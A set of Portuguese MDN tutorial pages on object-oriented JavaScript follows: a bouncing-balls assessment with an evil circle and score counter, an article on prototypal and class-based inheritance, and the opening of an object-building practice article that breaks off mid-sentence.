{"title":"Adicionando recursos à nossa demonstração de bolas pulantes - Aprendendo desenvolvimento web","text":"Adicionando recursos à nossa demonstração de bolas pulantes\n===========================================================\n\n* Anterior\n* Menu: Objects\n\nNesta avaliação, espera-se que você use a demonstração de bolas saltantes do artigo anterior como ponto de partida e adicione alguns recursos novos e interessantes a ela.\n\n|  |  |\n| --- | --- |\n| Prerequisites: | \n Before attempting this assessment you should have already worked through\n all the articles in this module.\n  |\n| Objective: | \n To test comprehension of JavaScript objects and object-oriented\n constructs\n  |\n\nPonto de partida\n----------------\n\nPara iniciar essa avaliação, faça uma cópia local de index-finished.html, style.css, e main-finished.js do nosso último artigo em um novo diretório em seu computador local.\n\n**Nota:** Alternatively, you could use a site like JSBin or Thimble to do your assessment. You could paste the HTML, CSS and JavaScript into one of these online editors. If the online editor you are using doesn't have separate JavaScript/CSS panels, feel free to put them inline `<script>`/`<style>` elements inside the HTML page.\n\nResumo do projeto\n-----------------\n\nNossa demo com bola saltitante é divertida, mas agora queremos torná-la um pouco mais interativa, adicionando um círculo maligno controlado pelo usuário, que vai comer as bolas se elas forem capturadas. Também queremos testar suas habilidades de construção de objetos criando um objeto `Shape()` genérico do qual nossas bolas e círculo maligno podem herdar. Por fim, queremos adicionar um contador de pontuação para rastrear o número de bolas a serem capturadas.\n\nA imagem seguinte dá-lhe uma ideia do que deve ser o programa final:\n\n![](/pt-BR/docs/Learn/JavaScript/Objects/Adding_bouncing_balls_features/bouncing-evil-circle.png)\n\nPara lhe dar mais uma ideia, dê uma olhada no exemplo finalizado (não espreitar o código-fonte!)\n\nPassos para concluir\n--------------------\n\nAs seções a seguir descrevem o que você precisa fazer.\n\n### Criando nossos novos objetos\n\nPrimeiro de tudo, altere seu construtor `Ball()` existente para que ele se torne um construtor `Shape()` e adicione um novo construtor `Ball()`:\n\n1. O construtor `Shape()` deve definir as propriedades `x`, `y`, `velX`, e `velY` da mesma maneira que o construtor `Ball()` fez originalmente, mas não as propriedades de `color` e `size`.\n2. Também deve definir uma nova propriedade chamada `exists`, que é usada para rastrear se as bolas existem no programa (não foram comidas pelo círculo do mal). Este deve ser um booleano (`true`/`false`).\n3. O construtor `Ball()` deve herdar as propriedades `x`, `y`, `velX`, `velY`, e `exists` do construtor `Shape()`.\n4. Ele também deve definir uma propriedade `color` e uma `size`, como fez o construtor `Ball()` original.\n5. Lembre-se de definir o `prototype` e o `constructor` do construtor `Ball()` adequadamente.\n\nAs definições do método ball `draw()`, `update()`, e `collisionDetect()` devem permanecer exatamente iguais às anteriores.\n\nVocê também precisa adicionar um novo parâmetro à nova chamada de construtor `new Ball() ( ... )` — o parâmetro `exists` deve ser o quinto parâmetro, e deve receber um valor `true`.\n\nNeste ponto, tente recarregar o código — ele deve funcionar da mesma forma que antes, com nossos objetos redesenhados.\n\n### Definindo EvilCircle()\n\nAgora é hora de conhecer o cara mau — o `EvilCircle()`! Nosso jogo só envolverá um círculo maligno, mas ainda vamos defini-lo usando um construtor que herda de `Shape()` para lhe dar alguma prática. Você pode querer adicionar outro círculo ao aplicativo mais tarde, que pode ser controlado por outro jogador, ou ter vários círculos malignos controlados por computador. Você provavelmente não vai dominar o mundo com um único círculo maligno, mas fará por essa avaliação.\n\nO construtor `EvilCircle()` deve herdar `x`, `y`, `velX`, `velY`, e `exists` de `Shape()`, mas `velX` e `velY` devem sempre ser iguais a 20.\n\nVocê deveria fazer algo como `Shape.call(this, x, y, 20, 20, exists);`\n\nEle também deve definir suas próprias propriedades, da seguinte maneira:\n\n* `color` — `'white'`\n* `size` — `10`\n\nNovamente, lembre-se de definir suas propriedades herdadas como parâmetros no construtor e defina as propriedades `prototype` e `constructor` corretamente.\n\n### Definindo os métodos de EvilCircle()\n\n`EvilCircle()` deve ter quatro métodos, conforme descrito abaixo.\n\n#### `draw()`\n\nEste método tem o mesmo propósito que o método `draw()` de `Ball()`: Ele desenha a instância do objeto na tela. Ele funcionará de maneira muito semelhante, portanto, você pode começar copiando a definição `Ball.prototype.draw`. Você deve então fazer as seguintes alterações:\n\n* Nós queremos que o círculo do mal não seja preenchido, mas apenas tenha uma linha externa (traço). Você pode conseguir isso atualizando `fillStyle` e `fill()` para `strokeStyle` (en-US) e `stroke()`.\n* Também queremos tornar o traço um pouco mais espesso, para que você possa ver o círculo maligno com mais facilidade. Isso pode ser obtido definindo um valor para `lineWidth` (en-US) em algum lugar após a chamada `beginPath()` (3 será suficiente).\n\n#### `checkBounds()`\n\nEste método fará a mesma coisa que a primeira parte da função `update()` do `Ball()` — olhe para ver se o círculo do mal vai sair da borda da tela, e pare de fazer isso. Novamente, você pode simplesmente copiar a definição de `Ball.prototype.update`, mas há algumas alterações que você deve fazer:\n\n* Livre-se das duas últimas linhas - não queremos atualizar automaticamente a posição do círculo maligno em todos os quadros, pois estaremos mudando isso de alguma outra forma, como você verá abaixo.\n* Dentro das instruções `if()`, se os testes retornam true, não queremos atualizar o `velX`/`velY`; Em vez disso, queremos alterar o valor de `x`/`y` para que o círculo maligno seja devolvido na tela um pouco. Adicionar ou subtrair (conforme apropriado) a propriedade `size` do círculo maligno faria sentido.\n\n#### `setControls()`\n\nEsse método adicionará um ouvinte de evento `onkeydown` ao objeto `window` para que, quando determinadas teclas do teclado forem pressionadas, possamos mover o círculo maligno ao redor. O bloco de código a seguir deve ser colocado dentro da definição do método:\n\n\n```js\nvar _this = this;\nwindow.onkeydown = function (e) {\n  if (e.keyCode === 65) {\n    _this.x -= _this.velX;\n  } else if (e.keyCode === 68) {\n    _this.x += _this.velX;\n  } else if (e.keyCode === 87) {\n    _this.y -= _this.velY;\n  } else if (e.keyCode === 83) {\n    _this.y += _this.velY;\n  }\n};\n```\n\n\nAssim, quando uma tecla é pressionada, a propriedade keyCode (en-US) é consultada para ver qual tecla é pressionada. Se for um dos quatro representados pelos códigos de teclas especificados, o círculo maligno se moverá para a esquerda / direita / para cima / para baixo.\n\n* Para um ponto de bônus, deixe-nos saber a quais chaves os códigos de teclas específicos estão mapeados.\n* Para outro ponto de bônus, você pode nos dizer por que precisamos definir `var _this = this;` na posição em que está? É algo a ver com o escopo da função.\n\n#### `collisionDetect()`\n\nEste método irá agir de forma muito semelhante ao método `collisionDetect()` do `Ball()`, então você pode usar uma cópia disso como base deste novo método. Mas há algumas diferenças:\n\n* Na declaração `if` externa, você não precisa mais verificar se a bola atual na iteração é igual à bola que está fazendo a verificação - porque ela não é mais uma bola, é o círculo do mal! Em vez disso, você precisa fazer um teste para ver se a bola que está sendo checada existe (com qual propriedade você poderia fazer isso?). Se não existe, já foi comido pelo círculo do mal, por isso não há necessidade de verificá-lo novamente.\n* Na instrução `if` interna, você não quer mais que os objetos mudem de cor quando uma colisão é detectada — em vez disso, você quer definir quaisquer bolas que colidam com o círculo maligno para não existir mais (novamente, como você pensa? d fazer isso?).\n### Trazendo o círculo do mal para o programa\n\nAgora nós definimos o círculo do mal, precisamos realmente fazer isso aparecer em nossa cena. Para fazer isso, você precisa fazer algumas alterações na função `loop()`.\n\n* Primeiro de tudo, crie uma nova instância de objeto do círculo do mal (especificando os parâmetros necessários) e, em seguida, chame seu método `setControls()`. Você só precisa fazer essas duas coisas uma vez, não em todas as iterações do loop.\n* No ponto em que você percorre todas as bolas e chama as funções `draw()`, `update()`, e `collisionDetect()` para cada uma, faça com que essas funções sejam chamadas apenas se a bola atual existir.\n* Chame os métodos `draw()`, `checkBounds()`, e `collisionDetect()` da instância do mal ball em cada iteração do loop.\n### Implementando o contador de pontuação\n\nPara implementar o contador de pontuação, siga os seguintes passos:\n\n1. No seu arquivo HTML, adicione um elemento `<p>` logo abaixo do elemento `<h1>` (en-US) contendo o texto \"Contagem de bolas:\".\n2. No seu arquivo CSS, adicione a seguinte regra na parte inferior:\n\n```css\np {\n  position: absolute;\n  margin: 0;\n  top: 35px;\n  right: 5px;\n  color: #aaa;\n}\n```\n\n3. Em seu JavaScript, faça as seguintes atualizações:\n    * Crie uma variável que armazene uma referência ao parágrafo.\n    * Mantenha uma contagem do número de bolas na tela de alguma forma.\n    * Incrementar a contagem e exibir o número atualizado de bolas cada vez que uma bola é adicionada à cena.\n    * Decrementar a contagem e exibir o número atualizado de bolas cada vez que o círculo maligno come uma bola (faz com que ele não exista).\nDicas e sugestões\n-----------------\n\n* Essa avaliação é bastante desafiadora. Tome cada passo devagar e com cuidado.\n* Pode ser uma idéia manter uma cópia separada da demo depois que você fizer com que cada estágio funcione, para que você possa consultá-la caso se encontre em apuros mais tarde.\nAvaliação\n---------\n\nSe você está seguindo esta avaliação como parte de um curso organizado, você deve poder dar seu trabalho ao seu professor / mentor para marcação. Se você é auto-didata, então você pode obter o guia de marcação com bastante facilidade, perguntando no tópico de discussão para este exercício, ou no canal de #mdn IRC da Mozilla IRC. Tente o exercício primeiro — não há nada a ganhar com a trapaça!\n\n* Anterior\n* Menu: Objects"}
{"title":"Herança em JavaScript - Aprendendo desenvolvimento web","text":"Herança em JavaScript\n=====================\n\n* Anterior\n* Menu: Objects\n* Próxima\n\nCom a maior parte dos detalhes principais do OOJS agora explicados, este artigo mostra como criar classes de objetos \"child\" (construtores) que herdam recursos de suas classes \"parent\". Além disso, apresentamos alguns conselhos sobre quando e onde você pode usar o OOJS e veja como as classes são tratadas na sintaxe moderna do ECMAScript.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Conhecimento básico de computação, conhecimento básico de HTML e CSS,\n familiaridade com com o básico de Javascript (veja\n Primeiros passos\n e\n Construindo blocos) e OOJS básico (veja\n Introdução a objetos (en-US)).\n  |\n| Objetivo: | Entender como é possível implementar a herança em Javascript. |\n\nHerança Prototipada\n-------------------\n\nAté agora vimos alguma herança em ação — vimos como funcionam as cadeias de protótipos e como os membros são herdados subindo em uma cadeia. Mas principalmente isso envolveu funções internas do navegador. Como criamos um objeto em JavaScript que herda de outro objeto?\n\nVamos explorar como fazer isso com um exemplo concreto.\n\nComeçando\n---------\n\nPrimeiro de tudo, faça uma cópia local do arquivo oojs-class-inheritance-start.html (veja também ao vivo). Aqui dentro você encontrará o mesmo exemplo de construtor `Person()` que utilizamos durante todo o módulo, com uma pequena diferença — definimos apenas as propriedades dentro do construtor:\n\n\n```js\nfunction Person(first, last, age, gender, interests) {\n  this.name = {\n    first,\n    last,\n  };\n  this.age = age;\n  this.gender = gender;\n  this.interests = interests;\n}\n```\n\n\nOs métodos são *todos* definidos no protótipo do construtor. Por exemplo:\n\n\n```js\nPerson.prototype.greeting = function () {\n  alert(\"Hi! I'm \" + this.name.first + \".\");\n};\n```\n\n\n**Nota:** No código fonte, você também verá os métodos `bio()` e `farewell()` definidos. Depois você verá como eles podem ser herdados por outros construtores.\n\nDigamos que quiséssemos criar uma classe `Teacher`, como a que descrevemos em nossa definição inicial orientada a objetos, que herda todos os membros de `Person`, mas também inclui:\n\n1. Uma nova propriedade, `subject` — isso irá conter o assunto que o professor ensina.\n2. Um método `greeting()` atualizado, que soa um pouco mais formal do que o método padrão `greeting()` — mais adequado para um professor que se dirige a alguns alunos da escola.\nDefinindo uma função construtora Teacher()\n------------------------------------------\n\nA primeira coisa que precisamos fazer é criar um construtor `Teacher()` — adicione o seguinte abaixo do código existente:\n\n\n```js\nfunction Teacher(first, last, age, gender, interests, subject) {\n  Person.call(this, first, last, age, gender, interests);\n\n  this.subject = subject;\n}\n```\n\n\nIsto parece similar ao construtor Person de várias maneiras, mas há algo estranho aqui que nós não vimos antes — a função `call()`. Esta função basicamente permite chamar uma função definida em outro lugar, mas no contexto atual. O primeiro parâmetro especifica o valor `this` que você deseja usar ao executar a função, e os outros parâmetros são aqueles que devem ser passados para a função quando ela é invocada.\n\nNós queremos que o construtor `Teacher()` pegue os mesmos parâmetros que o construtor `Person()` de onde ele está herdando, então especificamos todos eles como parâmetros na chamada `call()`.\n\nA última linha dentro do construtor simplesmente define a nova propriedade `subject` que os professores terão, que pessoas genéricas não possuem.\n\nComo nota, poderíamos simplesmente ter feito isso:\n\n\n```js\nfunction Teacher(first, last, age, gender, interests, subject) {\n  this.name = {\n    first,\n    last,\n  };\n  this.age = age;\n  this.gender = gender;\n  this.interests = interests;\n  this.subject = subject;\n}\n```\n\n\nMas isso é apenas redefinir as propriedades de novo, não herdá-las de `Person()`, de modo que ela derrota o ponto que estamos tentando fazer. Também leva mais linhas de código.\n\n### Herdando de um construtor sem parâmetros\n\nObserve que, se o construtor do qual você está herdando não tomar seus valores de propriedade de parâmetros, não será necessário especificá-los como argumentos adicionais em `call()`. Então, por exemplo, se você tivesse algo realmente simples assim:\n\n\n```js\nfunction Brick() {\n  this.width = 10;\n  this.height = 20;\n}\n```\n\n\nVocê pode herdar as propriedades `width` e `height` fazendo isso (assim como as outras etapas descritas abaixo, é claro):\n\n\n```js\nfunction BlueGlassBrick() {\n  Brick.call(this);\n\n  this.opacity = 0.5;\n  this.color = \"blue\";\n}\n```\n\n\nObserve que apenas especificamos `this` dentro de `call()` — nenhum outro parâmetro é necessário, já que não estamos herdando propriedades do pai que são configuradas por meio de parâmetros.\n\nDefinindo o protótipo e referência de construtor do Teacher()\n-------------------------------------------------------------\n\nTudo está bem até agora, mas nós temos um problema. Nós definimos um novo construtor, e ele tem uma propriedade `prototype`, que por padrão apenas contém uma referência à própria função construtora. Ele não contém os métodos da propriedade `prototype` do construtor Person. Para ver isso, insira `Object.getOwnPropertyNames(Teacher.prototype)` no campo de entrada de texto ou no seu console JavaScript. Em seguida, insira-o novamente, substituindo `Teacher` por `Person`. O novo construtor também não herda esses métodos. Para ver isso, compare as saídas de `Person.prototype.greeting` e `Teacher.prototype.greeting`. Precisamos obter `Teacher()` para herdar os métodos definidos no protótipo `Person()`. Então, como fazemos isso?\n\n1. Adicione a seguinte linha abaixo da sua adição anterior:\n\n```js\nTeacher.prototype = Object.create(Person.prototype);\n```\n\nAqui nosso amigo `create()` vem para o resgate novamente. Nesse caso, estamos usando para criar um novo objeto e torná-lo o valor de `Teacher.prototype`. O novo objeto tem `Person.prototype` como seu protótipo e, portanto, herdará, se e quando necessário, todos os métodos disponíveis no `Person.prototype`.\n2. Precisamos fazer mais uma coisa antes de prosseguirmos. Depois de adicionar a última linha, a propriedade `constructor` de `Teacher.prototype` agora é igual a `Person()`, porque apenas definimos `Teacher.prototype` para fazer referência a um objeto que herda suas propriedades de `Person.prototype`! Tente salvar seu código, carregar a página em um navegador e inserir `Teacher.prototype.constructor` no console para verificar.\n3. Isso pode se tornar um problema, então precisamos definir isso corretamente. Você pode fazer isso voltando ao seu código-fonte e adicionando a seguinte linha na parte inferior:\n\n```js\nObject.defineProperty(Teacher.prototype, \"constructor\", {\n  value: Teacher,\n  enumerable: false, // so that it does not appear in 'for in' loop\n  writable: true,\n});\n```\n\n4. Agora, se você salvar e atualizar, entrar em `Teacher.prototype.constructor` deve retornar `Teacher()`, conforme desejado, além de estarmos herdando de `Person()`!\nDar a Teacher() uma nova função greeting()\n------------------------------------------\n\nPara finalizar nosso código, precisamos definir uma nova função `greeting()` no construtor `Teacher()`.\n\nA maneira mais fácil de fazer isso é defini-lo no protótipo do `Teacher()` — adicione o seguinte na parte inferior do seu código:\n\n\n```js\nTeacher.prototype.greeting = function () {\n  var prefix;\n\n  if (\n    this.gender === \"male\" ||\n    this.gender === \"Male\" ||\n    this.gender === \"m\" ||\n    this.gender === \"M\"\n  ) {\n    prefix = \"Mr.\";\n  } else if (\n    this.gender === \"female\" ||\n    this.gender === \"Female\" ||\n    this.gender === \"f\" ||\n    this.gender === \"F\"\n  ) {\n    prefix = \"Mrs.\";\n  } else {\n    prefix = \"Mx.\";\n  }\n\n  alert(\n    \"Hello. My name is \" +\n      prefix +\n      \" \" +\n      this.name.last +\n      \", and I teach \" +\n      this.subject +\n      \".\",\n  );\n};\n```\n\n\nIsso alerta a saudação do professor, que também usa um prefixo de nome apropriado para seu gênero, elaborado usando uma instrução condicional.\n\nTestando o exemplo\n------------------\n\nAgora que você digitou todo o código, tente criar uma instância de objeto do `Teacher()` colocando o seguinte na parte inferior do seu JavaScript (ou algo semelhante à sua escolha):\n\n\n```js\nvar teacher1 = new Teacher(\n  \"Dave\",\n  \"Griffiths\",\n  31,\n  \"male\",\n  [\"football\", \"cookery\"],\n  \"mathematics\",\n);\n```\n\n\nAgora salve e atualize e tente acessar as propriedades e os métodos do novo objeto `teacher1`, por exemplo:\n\n\n```js\nteacher1.name.first;\nteacher1.interests[0];\nteacher1.bio();\nteacher1.subject;\nteacher1.greeting();\nteacher1.farewell();\n```\n\n\nTudo isso deve funcionar bem. As consultas nas linhas 1, 2, 3 e 6 acessam membros herdados do construtor genérico `Person()` (class). A consulta na linha 4 acessa um membro que está disponível somente no construtor mais especializado `Teacher()` (class). A consulta na linha 5 teria acessado um membro herdado de `Person()`, exceto pelo fato de que `Teacher()` tem seu próprio membro com o mesmo nome, portanto, a consulta acessa esse membro.\n\n**Nota:** If you have trouble getting this to work, compare your code to our finished version (see it running live also).\n\nA técnica que abordamos aqui não é a única maneira de criar classes herdadas em JavaScript, mas funciona bem e dá uma boa idéia sobre como implementar a herança em JavaScript.\n\nVocê também pode estar interessado em conferir alguns dos novos recursos ECMAScript (en-US) que nos permitem fazer herança mais claramente em JavaScript (veja Classes). Nós não cobrimos esses aqui, pois eles ainda não são suportados amplamente pelos navegadores. Todas as outras construções de código que discutimos neste conjunto de artigos são suportadas desde o IE9 ou anterior, e existem maneiras de obter suporte anterior a isso.\n\nUma maneira comum é usar uma biblioteca JavaScript — a maioria das opções populares tem um conjunto fácil de funcionalidade disponível para fazer herança com mais facilidade e rapidez. CoffeeScript por exemplo, fornece `class`, `extends`, etc.\n\nUm exercício adicional\n----------------------\n\nEm nossa seção de teoria OOP, incluímos também uma classe `Student` como um conceito, que herda todos os recursos de `Person`, e também tem um método `greeting()` diferente de `Person` que é muito mais informal do que a saudação do `Teacher`. Dê uma olhada na aparência da saudação do aluno nessa seção e tente implementar seu próprio construtor `Student()` que herda todos os recursos de `Person()`, e implemente a função `greeting()` diferente.\n\n**Nota:** If you have trouble getting this to work, have a look at our finished version (see it running live also).\n\nSumário de membro do objeto\n---------------------------\n\nResumindo, você basicamente tem três tipos de propriedade / método para se preocupar:\n\n1. Aqueles definidos dentro de uma função construtora que são dadas a instâncias de objetos. Estes são bastante fáceis de detectar — em seu próprio código personalizado, eles são os membros definidos dentro de um construtor usando as linhas `this.x = x` ; no código do navegador, eles são os membros disponíveis apenas para instâncias de objetos (geralmente criados chamando um construtor usando a palavra-chave `new`, por exemplo, `var myInstance = new myConstructor()`).\n2. Aqueles definidos diretamente no próprio construtor, que estão disponíveis apenas no construtor. Geralmente, eles estão disponíveis apenas em objetos de navegador internos e são reconhecidos por serem encadeados diretamente em um construtor, não em uma instância. Por exemplo, `Object.keys()`.\n3. Aqueles definidos no protótipo de um construtor, que são herdados por todas as instâncias e herdam as classes de objetos. Estes incluem qualquer membro definido na propriedade de protótipo de um Construtor, por ex. `myConstructor.prototype.x()`.\n\nSe você não tem certeza de qual é qual, não se preocupe com isso ainda — você ainda está aprendendo e a familiaridade virá com a prática.\n\nClasses ECMAScript 2015\n-----------------------\n\nO ECMAScript 2015 introduz a sintaxe de classe em JavaScript como uma maneira de escrever classes reutilizáveis usando uma sintaxe mais fácil e mais limpa, que é mais semelhante a classes em C ++ ou Java. Nesta seção, converteremos os exemplos Pessoa e Professor da herança protótipo para as classes, para mostrar como é feito.\n\n**Nota:** Essa forma moderna de escrever classes é suportada em todos os navegadores modernos, mas ainda vale a pena saber como a herança prototípica subjacente, caso você trabalhe em um projeto que exija suporte a um navegador que não suporte essa sintaxe (mais notavelmente o Internet Explorer) .\n\nVejamos uma versão reescrita do exemplo Person, estilo de classe:\n\n\n```js\nclass Person {\n  constructor(first, last, age, gender, interests) {\n    this.name = {\n      first,\n      last,\n    };\n    this.age = age;\n    this.gender = gender;\n    this.interests = interests;\n  }\n\n  greeting() {\n    console.log(`Hi! I'm ${this.name.first}`);\n  }\n\n  farewell() {\n    console.log(`${this.name.first} has left the building. Bye for now!`);\n  }\n}\n```\n\n\nA declaração class indica que estamos criando uma nova classe. Dentro deste bloco, definimos todos os recursos da classe:\n\n* O método `constructor()` define a função construtora que representa nossa classe `Person`.\n* `greeting()` e `farewell()` são métodos de classe. Quaisquer métodos que você deseja associar à classe são definidos dentro dela, após o construtor. Neste exemplo, usamos template literals em vez de concatenação de string para facilitar a leitura do código.\n\nAgora podemos instanciar instâncias de objeto usando o operador `new`, da mesma maneira que fizemos antes:\n\n\n```js\nlet han = new Person(\"Han\", \"Solo\", 25, \"male\", [\"Smuggling\"]);\nhan.greeting();\n// Hi! I'm Han\n\nlet leia = new Person(\"Leia\", \"Organa\", 19, \"female\", [\"Government\"]);\nleia.farewell();\n// Leia has left the building. Bye for now\n```\n\n\n**Nota:** Sob o capô, suas classes estão sendo convertidas em modelos de herança protótipos — isso é apenas açúcar sintático. Mas tenho certeza que você concordará que é mais fácil escrever.\n\n### Herança com sintaxe de classe\n\nAcima nós criamos uma classe para representar uma pessoa. Eles têm uma série de atributos que são comuns a todas as pessoas; Nesta seção, criaremos nossa classe especializada `Teacher`, tornando-a herdada de `Person` usando a sintaxe de classe moderna. Isso é chamado de criação de uma subclasse ou subclasse.\n\nPara criar uma subclasse, usamos a palavra-chave extends para informar ao JavaScript a classe na qual queremos basear nossa classe.\n\n\n```js\nclass Teacher extends Person {\n  constructor(first, last, age, gender, interests, subject, grade) {\n    this.name = {\n      first,\n      last,\n    };\n\n    this.age = age;\n    this.gender = gender;\n    this.interests = interests;\n    // subject and grade are specific to Teacher\n    this.subject = subject;\n    this.grade = grade;\n  }\n}\n```\n\n\nPodemos tornar o código mais legível definindo o operador `super()` como o primeiro item dentro do `constructor()`. Isso chamará o construtor da classe pai e herdará os membros que especificarmos como parâmetros de `super()`, desde que sejam definidos lá:\n\n\n```js\nclass Teacher extends Person {\n  constructor(first, last, age, gender, interests, subject, grade) {\n    super(first, last, age, gender, interests);\n\n    // subject and grade are specific to Teacher\n    this.subject = subject;\n    this.grade = grade;\n  }\n}\n```\n\n\nQuando instanciamos instâncias de objeto `Teacher` , podemos agora chamar métodos e propriedades definidos em `Teacher` e `Person`, como seria de esperar:\n\n\n```js\nlet snape = new Teacher(\n  \"Severus\",\n  \"Snape\",\n  58,\n  \"male\",\n  [\"Potions\"],\n  \"Dark arts\",\n  5,\n);\nsnape.greeting(); // Hi! I'm Severus.\nsnape.farewell(); // Severus has left the building. Bye for now.\nsnape.age; // 58\nsnape.subject; // Dark arts\n```\n\n\nComo fizemos com Teachers, poderíamos criar outras subclasses de `Person` para torná-las mais especializadas sem modificar a classe base.\n\n**Nota:** You can find this example on GitHub as es2015-class-inheritance.html (see it live also).\n\nGetters e Setters\n-----------------\n\nPode haver momentos em que queremos alterar os valores de um atributo nas classes que criamos ou não sabemos qual será o valor final de um atributo. Usando o exemplo `Teacher`, podemos não saber o assunto que o professor ensinará antes de criá-lo, ou o assunto pode mudar entre os termos.\n\nPodemos lidar com essas situações com getters e setters.\n\nVamos melhorar a classe Professor com getters e setters. A aula começa da mesma forma que foi a última vez que olhamos para ela.\n\nOs getters e setters trabalham em pares. Um getter retorna o valor atual da variável e seu setter correspondente altera o valor da variável para o que ela define.\n\nA classe `Teacher` modificada é assim:\n\n\n```js\nclass Teacher extends Person {\n  constructor(first, last, age, gender, interests, subject, grade) {\n    super(first, last, age, gender, interests);\n    // subject and grade are specific to Teacher\n    this._subject = subject;\n    this.grade = grade;\n  }\n\n  get subject() {\n    return this._subject;\n  }\n\n  set subject(newSubject) {\n    this._subject = newSubject;\n  }\n}\n```\n\n\nEm nossa classe acima, temos um getter e setter para a propriedade `subject`. Usamos **`_`** para criar um valor separado no qual armazenar nossa propriedade de nome. Sem usar essa convenção, obteríamos erros toda vez que chamássemos get ou set. Neste ponto:\n\n* Para mostrar o valor atual da propriedade `_subject` do objeto `snape` , podemos usar o método getter `snape.subject`.\n* Para atribuir um novo valor à propriedade `_subject` , podemos usar o método setter `snape.subject=\"new value\"`.\n\nO exemplo abaixo mostra os dois recursos em ação:\n\n\n```js\n// Check the default value\nconsole.log(snape.subject); // Returns \"Dark arts\"\n\n// Change the value\nsnape.subject = \"Balloon animals\"; // Sets \\_subject to \"Balloon animals\"\n\n// Check it again and see if it matches the new value\nconsole.log(snape.subject); // Returns \"Balloon animals\"\n```\n\n\n**Nota:** You can find this example on GitHub as es2015-getters-setters.html (see it live also).\n\nQuando você usaria a herança em JavaScript?\n-------------------------------------------\n\nParticularmente após este último artigo, você pode estar pensando \"woo, isso é complicado\". Bem, você está certo. Protótipos e herança representam alguns dos aspectos mais complexos do JavaScript, mas muito do poder e flexibilidade do JavaScript vem de sua estrutura e herança de objetos, e vale a pena entender como ele funciona.\n\nDe certa forma, você usa herança o tempo todo. Sempre que você usa vários recursos de uma API da Web ou métodos / propriedades definidos em um objeto de navegador interno que você chama em suas cadeias de caracteres, matrizes, etc., você está implicitamente usando herança.\n\nEm termos de usar a herança em seu próprio código, você provavelmente não a usará com frequência, principalmente no começo e em pequenos projetos. É uma perda de tempo usar objetos e herança apenas por causa dela quando você não precisa deles. Mas à medida que suas bases de código aumentam, é mais provável que você encontre uma necessidade para isso. Se você estiver começando a criar vários objetos com recursos semelhantes, criar um tipo de objeto genérico para conter toda a funcionalidade compartilhada e herdar esses recursos em tipos de objetos mais especializados pode ser conveniente e útil.\n\n**Nota:** Por causa da maneira como o JavaScript funciona, com a cadeia de protótipos, etc., o compartilhamento de funcionalidade entre objetos é frequentemente chamado de **delegação**. Os objetos especializados delegam a funcionalidade a um tipo de objeto genérico.\n\nAo usar a herança, você é aconselhado a não ter muitos níveis de herança, e manter um controle cuidadoso de onde você define seus métodos e propriedades. É possível começar a escrever código que modifica temporariamente os protótipos dos objetos do navegador interno, mas você não deve fazer isso a menos que tenha um bom motivo. Demasiada herança pode levar a confusão sem fim, e dor infinita quando você tenta depurar esse código.\n\nEm última análise, os objetos são apenas outra forma de reutilização de código, como funções ou loops, com seus próprios papéis e vantagens específicos. Se você estiver criando um monte de variáveis e funções relacionadas e quiser rastreá-las todas juntas e empacotá-las perfeitamente, um objeto é uma boa ideia. Objetos também são muito úteis quando você quer passar uma coleção de dados de um lugar para outro. Ambas as coisas podem ser alcançadas sem o uso de construtores ou herança. Se você precisa apenas de uma única instância de um objeto, provavelmente é melhor usar apenas um literal de objeto e certamente não precisa de herança.\n\nAlternativas para estender a cadeia de protótipos\n-------------------------------------------------\n\nEm JavaScript, existem várias maneiras diferentes de estender o protótipo de um objeto além do que mostramos acima. Para saber mais sobre as outras formas, visite nosso artigo Herança e a cadeia de protótipos.\n\nSumário\n-------\n\nEste artigo cobriu o restante da teoria e sintaxe central do OOJS que achamos que você deveria saber agora. Neste ponto, você deve entender os princípios de objeto e OOP JavaScript, protótipos e herança prototypal, como criar classes (construtores) e instâncias de objetos, adicionar recursos a classes e criar subclasses que herdam de outras classes.\n\nNo próximo artigo, veremos como trabalhar com JavaScript Object Notation (JSON), um formato comum de troca de dados escrito usando objetos JavaScript.\n\nVeja também\n-----------\n\n* ObjectPlayground.com — Um site de aprendizado interativo realmente útil para aprender sobre objetos.\n* Segredos Ninja de JavaScript, Capítulo 7 - Um bom livro sobre conceitos e técnicas avançadas de JavaScript, por John Resig, Bear Bibeault e Josip Maras. O Capítulo 7 aborda aspectos de protótipos e herança muito bem; Você provavelmente pode rastrear uma cópia impressa ou on-line com bastante facilidade.\n* Você não sabe JS: this & Object Prototypes — Parte da excelente série de manuais de JavaScript de Kyle Simpson, o Capítulo 5, em particular, analisa os protótipos com muito mais detalhes do que fazemos aqui. Nós apresentamos uma visão simplificada nesta série de artigos destinados a iniciantes, enquanto Kyle entra em grande profundidade e fornece uma imagem mais complexa, mas mais precisa.\n* Anterior\n* Menu: Objects\n* Próxima"}
{"title":"Prática de construção de objetos - Aprendendo desenvolvimento web","text":"Prática de construção de objetos\n================================\n\n* Anterior\n* Menu: Objects\n* Próxima\n\nNos artigos anteriores, analisamos todos os detalhes essenciais da teoria e da sintaxe do objeto JavaScript, fornecendo uma base sólida para começar. Neste artigo, vamos mergulhar em um exercício prático, dando a você mais prática na construção de objetos JavaScript personalizados, com um resultado divertido e colorido.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Conhecimentos básicos de informática, conhecimento básico de HTML e CSS,\n familiaridade com o básico de JavaScript (veja\n First steps e\n Building blocks) e o básico de OOJS (veja\n Introduction to objects (en-US)).\n  |\n| Objetivo: | \n Adiquirir alguma prática no uso de objetos e técnicas de orientação a\n objetos num contexto real.\n  |\n\nVamos saltitar algumas bolas\n----------------------------\n\nNeste artigo, vamos escrever uma demo clássica de \"bolas saltitantes\", para mostrar o quão úteis os objetos podem ser em JavaScript. Nossas bolinhas vão saltar pela tela e mudam de cor quando se tocam. O exemplo acabado vai parecer um pouco assim:\n ![](/pt-BR/docs/Learn/JavaScript/Objects/Object_building_practice/bouncing-balls.png)\n\nEste exemplo fará uso da Canvas API (en-US), para desenhar as bolas na tela, e da requestAnimationFrame API para animar toda a exibição — você não precisa ter nenhum conhecimento prévio dessas APIs e esperamos que, no momento em que você terminar este artigo, você esteja interessado em explorá-los mais. Ao longo do caminho, faremos uso de alguns objetos bacanas, e mostraremos algumas técnicas legais, como bolas quicando nas paredes, e verificando se elas se chocaram (também conhecidas como **detecção de colisão**).\n\nComeçando\n---------\n\nPara começar, faça cópias locais de nossos arquivos `index.html`, `style.css`, e `main.js`. Estes contêm o seguinte, respectivamente:\n\n1. Um documento HTML muito simples com um elemento `<h1>` (en-US), um elemento `<canvas>` para desenhar nossas bolas e elementos para aplicar nosso CSS e JavaScript em nosso HTML.\n2. Alguns estilos muito simples, que servem principalmente para estilizar e posicionar o 